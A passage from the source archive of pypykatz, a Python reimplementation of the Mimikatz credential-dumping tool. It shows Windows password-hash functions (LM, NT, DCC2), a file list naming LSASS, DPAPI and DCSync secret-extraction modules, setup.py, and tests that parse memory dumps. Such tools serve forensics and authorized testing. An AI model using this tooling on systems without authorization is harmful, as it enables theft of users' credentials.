main(): import argparse parser = argparse.ArgumentParser(description='Decrypt TrendMicro ofscan.ini file') parser.add_argument('filepath', help='ofscan.ini file path or string beginning with !CRYPT! or !CRYPTEX! or !CRYPTEX3!') args = parser.parse_args() results = ofscan_decrypt_data(args.filepath) for result in results: print('%s: %s' % (result[0], result[1])) if __name__ == '__main__': main()././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/utils/crypto/winhash.py0000664000175000017500000000352414543266630021450 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from unicrypto.symmetric import DES, expand_DES_key from unicrypto.pbkdf2 import pbkdf2 from unicrypto.hashlib import md4 as MD4 def LM(password): if password is None or password == '': return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee') LM_SECRET = b'KGS!@#$%' password_uppercase = password.upper() password_uppercase_bytes = password_uppercase.encode('ascii') password_uppercase_bytes_padded = password_uppercase_bytes.ljust(14, b'\x00') password_chunk_1 = password_uppercase_bytes_padded[0:7] password_chunk_2 = password_uppercase_bytes_padded[7:] des_chunk_1 = DES(expand_DES_key(password_chunk_1)) des_chunk_2 = DES(expand_DES_key(password_chunk_2)) des_first_half = des_chunk_1.encrypt(LM_SECRET) des_second_half = des_chunk_2.encrypt(LM_SECRET) lm_hash = des_first_half + des_second_half return lm_hash def NT(password): if password is None or password == '': return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0') password_bytes = password.encode('utf-16-le') md4 = MD4(password_bytes) return md4.digest() def MSDCC(username, password): nt_hash_of_password = NT(password) username_lower = username.lower() username_bytes = username_lower.encode('utf-16-le') md4 = MD4(nt_hash_of_password + username_bytes) #md4.update(nt_hash_of_password) #md4.update(username_bytes) dcc = md4.digest() return dcc def MSDCCv2(username, password, iterations = 10240): #The iteration count is by default 10240 but it depends on the HKEY_LOCAL_MACHINE\SECURITY\Cache\NL$IterationCount key value. msdcc_hash = MSDCC(username, password) username_lower = username.lower() username_bytes = username_lower.encode('utf-16-le') msdcc_v2 = pbkdf2(msdcc_hash, username_bytes, iterations, 16) hashcat_format = '$DCC2$%s#%s#%s' % (iterations, username, msdcc_v2.hex()) return msdcc_v2././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz.egg-info/0000775000175000017500000000000014647211624016441 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/PKG-INFO0000644000175000017500000000132614647211624017536 0ustar00webdevwebdevMetadata-Version: 2.1 Name: pypykatz Version: 0.6.10 Summary: Python implementation of Mimikatz Home-page: https://github.com/skelsec/pypykatz Author: Tamas Jos Author-email: info@skelsecprojects.com Classifier: Programming Language :: Python :: 3.6 Classifier: License :: OSI Approved :: MIT License Classifier: Operating System :: OS Independent Requires-Python: >=3.6 License-File: LICENSE Requires-Dist: unicrypto<=0.1.0,>=0.0.10 Requires-Dist: minidump<=0.1.0,>=0.0.21 Requires-Dist: minikerberos<=0.5.0,>=0.4.1 Requires-Dist: aiowinreg<=0.1.0,>=0.0.11 Requires-Dist: msldap<=0.6.0,>=0.5.7 Requires-Dist: winacl<=0.2.0,>=0.1.9 Requires-Dist: aiosmb<=0.5.0,>=0.4.8 Requires-Dist: aesedb<=0.2.0,>=0.1.4 Requires-Dist: tqdm ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/SOURCES.txt0000664000175000017500000002250114647211624020325 0ustar00webdevwebdevLICENSE MANIFEST.in README.md pyproject.toml setup.py pypykatz/__amain__.py pypykatz/__init__.py pypykatz/__main__.py pypykatz/_version.py pypykatz/apypykatz.py pypykatz/argparsertest.py pypykatz/argpretty.py pypykatz/debugfile.py pypykatz/pypykatz.py pypykatz.egg-info/PKG-INFO pypykatz.egg-info/SOURCES.txt pypykatz.egg-info/dependency_links.txt pypykatz.egg-info/entry_points.txt pypykatz.egg-info/requires.txt pypykatz.egg-info/top_level.txt pypykatz.egg-info/zip-safe pypykatz/alsadecryptor/__init__.py pypykatz/alsadecryptor/asbmfile.py pypykatz/alsadecryptor/cmdhelper.py pypykatz/alsadecryptor/lsa_decryptor.py pypykatz/alsadecryptor/lsa_decryptor_nt5.py pypykatz/alsadecryptor/lsa_decryptor_nt6.py pypykatz/alsadecryptor/lsa_template_nt5.py pypykatz/alsadecryptor/lsa_template_nt6.py pypykatz/alsadecryptor/lsa_templates.py pypykatz/alsadecryptor/package_commons.py pypykatz/alsadecryptor/win_datatypes.py pypykatz/alsadecryptor/packages/__init__.py pypykatz/alsadecryptor/packages/cloudap/__init__.py pypykatz/alsadecryptor/packages/cloudap/decryptor.py pypykatz/alsadecryptor/packages/cloudap/templates.py pypykatz/alsadecryptor/packages/credman/__init__.py pypykatz/alsadecryptor/packages/credman/templates.py pypykatz/alsadecryptor/packages/dpapi/__init__.py pypykatz/alsadecryptor/packages/dpapi/decryptor.py pypykatz/alsadecryptor/packages/dpapi/templates.py pypykatz/alsadecryptor/packages/kerberos/__init__.py pypykatz/alsadecryptor/packages/kerberos/decryptor.py pypykatz/alsadecryptor/packages/kerberos/templates.py pypykatz/alsadecryptor/packages/livessp/__init__.py pypykatz/alsadecryptor/packages/livessp/decryptor.py pypykatz/alsadecryptor/packages/livessp/templates.py pypykatz/alsadecryptor/packages/msv/__init__.py pypykatz/alsadecryptor/packages/msv/decryptor.py pypykatz/alsadecryptor/packages/msv/templates.py pypykatz/alsadecryptor/packages/ssp/__init__.py pypykatz/alsadecryptor/packages/ssp/decryptor.py pypykatz/alsadecryptor/packages/ssp/templates.py pypykatz/alsadecryptor/packages/tspkg/__init__.py pypykatz/alsadecryptor/packages/tspkg/decryptor.py pypykatz/alsadecryptor/packages/tspkg/templates.py pypykatz/alsadecryptor/packages/wdigest/__init__.py pypykatz/alsadecryptor/packages/wdigest/decryptor.py pypykatz/alsadecryptor/packages/wdigest/templates.py pypykatz/commons/__init__.py pypykatz/commons/common.py pypykatz/commons/filetime.py pypykatz/commons/kerberosticket.py pypykatz/commons/win_datatypes.py pypykatz/commons/readers/__init__.py pypykatz/commons/readers/local/__init__.py pypykatz/commons/readers/local/live_reader.py pypykatz/commons/readers/local/process.py pypykatz/commons/readers/local/common/__init__.py pypykatz/commons/readers/local/common/advapi32.py pypykatz/commons/readers/local/common/defines.py pypykatz/commons/readers/local/common/fileinfo.py pypykatz/commons/readers/local/common/kernel32.py pypykatz/commons/readers/local/common/live_reader_ctypes.py pypykatz/commons/readers/local/common/privileges.py pypykatz/commons/readers/local/common/privileges_types.py pypykatz/commons/readers/local/common/psapi.py pypykatz/commons/readers/local/common/version.py pypykatz/commons/readers/local/common/winreg.py pypykatz/commons/readers/registry/__init__.py pypykatz/commons/readers/registry/live/__init__.py pypykatz/commons/readers/registry/live/reader.py pypykatz/commons/readers/rekall/__init__.py pypykatz/commons/readers/rekall/rekallreader.py pypykatz/commons/readers/volatility3/__init__.py pypykatz/commons/readers/volatility3/volreader.py pypykatz/commons/winapi/__init__.py pypykatz/commons/winapi/constants.py pypykatz/commons/winapi/machine.py pypykatz/commons/winapi/processmanipulator.py pypykatz/commons/winapi/local/__init__.py pypykatz/commons/winapi/local/advapi32.py pypykatz/commons/winapi/local/kernel32.py pypykatz/commons/winapi/local/localwindowsapi.py pypykatz/commons/winapi/local/ntdll.py pypykatz/commons/winapi/local/psapi.py pypykatz/commons/winapi/local/sid.py pypykatz/commons/winapi/local/function_defs/__init__.py pypykatz/commons/winapi/local/function_defs/advapi32.py pypykatz/commons/winapi/local/function_defs/defines.py pypykatz/commons/winapi/local/function_defs/fileinfo.py pypykatz/commons/winapi/local/function_defs/kernel32.py pypykatz/commons/winapi/local/function_defs/live_reader_ctypes.py pypykatz/commons/winapi/local/function_defs/netapi32.py pypykatz/commons/winapi/local/function_defs/netapi32_high.py pypykatz/commons/winapi/local/function_defs/ntdll.py pypykatz/commons/winapi/local/function_defs/privileges.py pypykatz/commons/winapi/local/function_defs/privileges_types.py pypykatz/commons/winapi/local/function_defs/psapi.py pypykatz/commons/winapi/local/function_defs/version.py pypykatz/commons/winapi/local/function_defs/winreg.py pypykatz/dpapi/__init__.py pypykatz/dpapi/cmdhelper.py pypykatz/dpapi/constants.py pypykatz/dpapi/dpapi.py pypykatz/dpapi/extras.py pypykatz/dpapi/finders/__init__.py pypykatz/dpapi/finders/cryptokeys.py pypykatz/dpapi/finders/ngc.py pypykatz/dpapi/finders/registry.py pypykatz/dpapi/functiondefs/__init__.py pypykatz/dpapi/functiondefs/dpapi.py pypykatz/dpapi/structures/__init__.py pypykatz/dpapi/structures/blob.py pypykatz/dpapi/structures/credentialfile.py pypykatz/dpapi/structures/masterkeyfile.py pypykatz/dpapi/structures/system.py pypykatz/dpapi/structures/vault.py pypykatz/example/__init__.py pypykatz/example/phandle_dll.py pypykatz/kerberos/__init__.py pypykatz/kerberos/cmdhelper.py pypykatz/kerberos/kerberos.py pypykatz/kerberos/kerberoslive.py pypykatz/kerberos/kirbiutils.py pypykatz/kerberos/functiondefs/__init__.py pypykatz/kerberos/functiondefs/advapi32.py pypykatz/kerberos/functiondefs/asn1structs.py pypykatz/kerberos/functiondefs/kernel32.py pypykatz/kerberos/functiondefs/netsecapi.py pypykatz/ldap/__init__.py pypykatz/ldap/cmdhelper.py pypykatz/lsadecryptor/__init__.py pypykatz/lsadecryptor/cmdhelper.py pypykatz/lsadecryptor/lsa_decryptor.py pypykatz/lsadecryptor/lsa_decryptor_nt5.py pypykatz/lsadecryptor/lsa_decryptor_nt6.py pypykatz/lsadecryptor/lsa_template_nt5.py pypykatz/lsadecryptor/lsa_template_nt6.py pypykatz/lsadecryptor/lsa_templates.py pypykatz/lsadecryptor/package_commons.py pypykatz/lsadecryptor/packages/__init__.py pypykatz/lsadecryptor/packages/cloudap/__init__.py pypykatz/lsadecryptor/packages/cloudap/decryptor.py pypykatz/lsadecryptor/packages/cloudap/templates.py pypykatz/lsadecryptor/packages/credman/__init__.py pypykatz/lsadecryptor/packages/credman/templates.py pypykatz/lsadecryptor/packages/dpapi/__init__.py pypykatz/lsadecryptor/packages/dpapi/decryptor.py pypykatz/lsadecryptor/packages/dpapi/templates.py pypykatz/lsadecryptor/packages/kerberos/__init__.py pypykatz/lsadecryptor/packages/kerberos/decryptor.py pypykatz/lsadecryptor/packages/kerberos/templates.py pypykatz/lsadecryptor/packages/livessp/__init__.py pypykatz/lsadecryptor/packages/livessp/decryptor.py pypykatz/lsadecryptor/packages/livessp/templates.py pypykatz/lsadecryptor/packages/msv/__init__.py pypykatz/lsadecryptor/packages/msv/decryptor.py pypykatz/lsadecryptor/packages/msv/templates.py pypykatz/lsadecryptor/packages/ssp/__init__.py pypykatz/lsadecryptor/packages/ssp/decryptor.py pypykatz/lsadecryptor/packages/ssp/templates.py pypykatz/lsadecryptor/packages/tspkg/__init__.py pypykatz/lsadecryptor/packages/tspkg/decryptor.py pypykatz/lsadecryptor/packages/tspkg/templates.py pypykatz/lsadecryptor/packages/wdigest/__init__.py pypykatz/lsadecryptor/packages/wdigest/decryptor.py pypykatz/lsadecryptor/packages/wdigest/templates.py pypykatz/parsers/__init__.py pypykatz/parsers/cmdhelper.py pypykatz/plugins/__init__.py pypykatz/plugins/pypykatz_rekall.py pypykatz/rdp/__init__.py pypykatz/rdp/cmdhelper.py pypykatz/rdp/parser.py pypykatz/rdp/packages/__init__.py pypykatz/rdp/packages/creds/__init__.py pypykatz/rdp/packages/creds/decryptor.py pypykatz/rdp/packages/creds/templates.py pypykatz/registry/__init__.py pypykatz/registry/aoffline_parser.py pypykatz/registry/cmdhelper.py pypykatz/registry/live_parser.py pypykatz/registry/offline_parser.py pypykatz/registry/sam/__init__.py pypykatz/registry/sam/asam.py pypykatz/registry/sam/common.py pypykatz/registry/sam/sam.py pypykatz/registry/sam/structures.py pypykatz/registry/security/__init__.py pypykatz/registry/security/acommon.py pypykatz/registry/security/asecurity.py pypykatz/registry/security/common.py pypykatz/registry/security/security.py pypykatz/registry/security/structures.py pypykatz/registry/software/__init__.py pypykatz/registry/software/asoftware.py pypykatz/registry/software/software.py pypykatz/registry/system/__init__.py pypykatz/registry/system/asystem.py pypykatz/registry/system/system.py pypykatz/remote/__init__.py pypykatz/remote/cmdhelper.py pypykatz/remote/live/__init__.py pypykatz/remote/live/common/__init__.py pypykatz/remote/live/common/common.py pypykatz/remote/live/localgroup/__init__.py pypykatz/remote/live/localgroup/enumerator.py pypykatz/remote/live/session/__init__.py pypykatz/remote/live/session/enumerator.py pypykatz/remote/live/share/__init__.py pypykatz/remote/live/share/enumerator.py pypykatz/smb/__init__.py pypykatz/smb/cmdhelper.py pypykatz/smb/dcsync.py pypykatz/smb/lsassutils.py pypykatz/smb/printer.py pypykatz/smb/regutils.py pypykatz/smb/shareenum.py pypykatz/utils/__init__.py pypykatz/utils/crypto/__init__.py pypykatz/utils/crypto/cmdhelper.py pypykatz/utils/crypto/gppassword.py pypykatz/utils/crypto/ofcdecrypt.py pypykatz/utils/crypto/winhash.py tests/test_async_lsassdecrypt.py tests/test_lsassdecrypt.py././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/dependency_links.txt0000664000175000017500000000000114647211624022507 0ustar00webdevwebdev ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/entry_points.txt0000664000175000017500000000006414647211624021737 0ustar00webdevwebdev[console_scripts] pypykatz = pypykatz.__main__:main ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/requires.txt0000664000175000017500000000030614647211624021040 0ustar00webdevwebdevunicrypto<=0.1.0,>=0.0.10 minidump<=0.1.0,>=0.0.21 minikerberos<=0.5.0,>=0.4.1 aiowinreg<=0.1.0,>=0.0.11 msldap<=0.6.0,>=0.5.7 winacl<=0.2.0,>=0.1.9 aiosmb<=0.5.0,>=0.4.8 aesedb<=0.2.0,>=0.1.4 tqdm ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/top_level.txt0000664000175000017500000000001114647211624021163 0ustar00webdevwebdevpypykatz ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1721570196.0 pypykatz-0.6.10/pypykatz.egg-info/zip-safe0000664000175000017500000000000114647211624020071 0ustar00webdevwebdev ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.327365 pypykatz-0.6.10/setup.cfg0000664000175000017500000000004614647211624014675 0ustar00webdevwebdev[egg_info] tag_build = tag_date = 0 ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1714980185.0 pypykatz-0.6.10/setup.py0000664000175000017500000000315314616102531014560 0ustar00webdevwebdevfrom setuptools import setup, find_packages import re import platform VERSIONFILE="pypykatz/_version.py" verstrline = open(VERSIONFILE, "rt").read() VSRE = r"^__version__ = ['\"]([^'\"]*)['\"]" mo = re.search(VSRE, verstrline, re.M) if mo: verstr = mo.group(1) else: raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) ep = { 'console_scripts': [ 'pypykatz = pypykatz.__main__:main', ], } setup( # Application name: name="pypykatz", # Version number (initial): version=verstr, # Application author details: author="Tamas Jos", author_email="info@skelsecprojects.com", # Packages packages=find_packages(exclude=["tests*"]), # Include additional files into the package include_package_data=True, # Details url="https://github.com/skelsec/pypykatz", zip_safe = True, # # license="LICENSE.txt", description="Python implementation of Mimikatz", # long_description=open("README.txt").read(), python_requires='>=3.6', classifiers=[ "Programming Language :: Python :: 3.6", "License :: OSI Approved :: MIT License", "Operating System :: OS Independent", ], install_requires=[ 'unicrypto>=0.0.10,<=0.1.0', 'minidump>=0.0.21,<=0.1.0', 'minikerberos>=0.4.1,<=0.5.0', 'aiowinreg>=0.0.11,<=0.1.0', 'msldap>=0.5.7,<=0.6.0', 'winacl>=0.1.9,<=0.2.0', 'aiosmb>=0.4.8,<=0.5.0', 'aesedb>=0.1.4,<=0.2.0', 'tqdm', ], # No more conveinent .exe entry point thanks to some idiot who # used the code without modification in a state-backed trojan. # Thank you for runing it for everyone. # # entry_points=ep if platform.system().lower() != 'windows' else {} ) ././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/tests/0000775000175000017500000000000014647211624014216 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/tests/test_async_lsassdecrypt.py0000664000175000017500000002427014543266630021553 0ustar00webdevwebdevimport os from pypykatz.apypykatz import apypykatz from .config import TESTFILES_DIR, compare_jsons import pytest @pytest.mark.asyncio async def test_x64_win7_7601(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win7') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win7_7601_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win7') with open(os.path.join(basedir, '7601_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '7601_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_10240(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '10240.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_10240_2(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_2.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '10240_2.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_10240_3(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_3.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '10240_3.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_10240_4(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_4.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '10240_4.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_15063(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '15063.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '15063.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_16299(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '16299.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '16299.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_18362(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '18362.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '18362.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_19041(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '19041.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '19041.dmp')) print(res.to_json()) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win10_19044(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '19044.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '19044.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win81_9600(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win81') with open(os.path.join(basedir, '9600.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '9600.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win81_9600_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win81') with open(os.path.join(basedir, '9600_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '9600_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2008R2_7601(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2008R2') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2012_9600(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2012') with open(os.path.join(basedir, '9600.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '9600.dmp')) print(res.to_json()) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2016_14393(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2016_14393_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2016_14393_2(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_2.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393_2.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2016_14393_3(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2016') with open(os.path.join(basedir, '14393_3.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393_3.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2019_17763(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2019') with open(os.path.join(basedir, '17763.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '17763.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2019_17763_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2019') with open(os.path.join(basedir, '17763_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '17763_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2022_20348(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2022') with open(os.path.join(basedir, '20348.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '20348.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_win2022_20348_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win2022') with open(os.path.join(basedir, '20348_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '20348_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x64_xp_3790(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'xp') with open(os.path.join(basedir, '3790.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '3790.dmp')) print(res.to_json()) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_vista_6002(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'vista') with open(os.path.join(basedir, '6002.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '6002.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_win7_7601(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win7') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_win7_7601_1(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win7') with open(os.path.join(basedir, '7601_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '7601_1.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_win10_19043(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '19043.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '19043.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_win10_14393(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '14393.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393.dmp')) assert compare_jsons(res.to_json(), expected) @pytest.mark.asyncio async def test_x86_win10_14393_1(): basedir = os.path.join(TESTFILES_DIR, 'x86', 'win10') with open(os.path.join(basedir, '14393_1.json'), 'r') as f: expected = f.read() res = await apypykatz.parse_minidump_file(os.path.join(basedir, '14393_1.dmp')) assert compare_jsons(res.to_json(), expected) if __name__ == '__main__': import asyncio asyncio.run(test_x64_xp_3790())././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/tests/test_lsassdecrypt.py0000664000175000017500000002212514543266630020353 0ustar00webdevwebdevimport os import json from pypykatz.pypykatz import pypykatz from .config import TESTFILES_DIR, compare_jsons def test_x64_win7_7601(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win7') with open(os.path.join(basedir, '7601.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '7601.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win7_7601_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win7') with open(os.path.join(basedir, '7601_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '7601_1.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_10240(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '10240.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_10240_2(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_2.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '10240_2.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_10240_3(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_3.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '10240_3.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_10240_4(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '10240_4.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '10240_4.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_15063(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '15063.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '15063.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_16299(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '16299.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '16299.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_18362(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '18362.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '18362.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_19041(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '19041.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '19041.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win10_19044(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win10') with open(os.path.join(basedir, '19044.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '19044.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win81_9600(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win81') with open(os.path.join(basedir, '9600.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '9600.dmp')) assert compare_jsons(res.to_json(), expected) def test_x64_win81_9600_1(): basedir = os.path.join(TESTFILES_DIR, 'x64', 'win81') with open(os.path.join(basedir, '9600_1.json'), 'r') as f: expected = f.read() res = pypykatz.parse_minidump_file(os.path.join(basedir, '9600_1.dmp')) 